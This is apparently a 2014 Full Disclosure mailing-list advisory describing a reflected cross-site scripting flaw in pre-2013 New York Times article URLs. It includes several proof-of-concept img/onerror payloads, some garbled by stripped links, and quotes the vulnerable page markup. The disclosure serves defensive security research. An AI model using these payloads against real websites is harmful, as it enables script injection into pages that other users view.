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Date: Thu, 16 Oct 2014 12:36:28 +0800
From: Jing Wang <>
Subject: [FD] New York Times Page Design XSS Vulnerability
 (Almost all Article Pages Before 2013 are Affected)

New York Times Page Design XSS Vulnerability (Almost all
Article Pages Before 2013 are Affected)


Vulnerability Description:
The vulnerability occurs at New York Times’s URLs. Nytimes (short for New
York Times) uses part of the URLs to construct its pages. However, it seems
that Nytimes does not filter the content used for the construction at all
before 2013.

Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All
pages of articles). In fact, all article pages that contain “PRINT” button,
“SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

Nytimes changed this mechanism since 2013. It decodes the URLs sent to its
server. This makes the mechanism much safer now.

However, all URLs before 2013 are still using the old mechanism. This means
almost all article pages before 2013 are still vulnerable to XSS attacks. I
guess the reason Nytimes does not filter URLs before is cost. It costs too
much (money & human capital) to change the database of all posted articles

Living POCs:“><img
src=x onerror=prompt(‘justqdjing’)>“><img src=x
onerror=prompt(‘justqdjing’)>?pagewanted=all&_r=0“><img src=x
onerror=prompt(‘justqdjing’)>“><img src=x
onerror=prompt(‘justqdjing’)>“><img src=x
onerror=prompt(‘justqdjing’)>“><img src=x

POC Video:

Vulnerability Analysis:
Take the following link as an example,

We can see that for the page reflected, it contains the following codes.
All of them are vulnerable.

<li class=”print”>

<li class=”singlePage”>
Single Page</vulnerabletoattack?pagewanted=all”></a>

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);”
title=”Page 2″

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);”
title=”Page 3″

<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);”
title=”Next Page”
Page »</testtesttest?pagewanted=2″></a>

The vulnerability can be attacked without user login. Tests were performed
on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

Cross-site scripting (XSS) is a type of computer security vulnerability
typically found in Web applications. XSS enables attackers to inject
client-side script into Web pages viewed by other users. A cross-site
scripting vulnerability may be used by attackers to bypass access controls
such as the same origin policy.

Reported By:
Wang Jing, mathematics student from Nanyang Technological University,

More Details:

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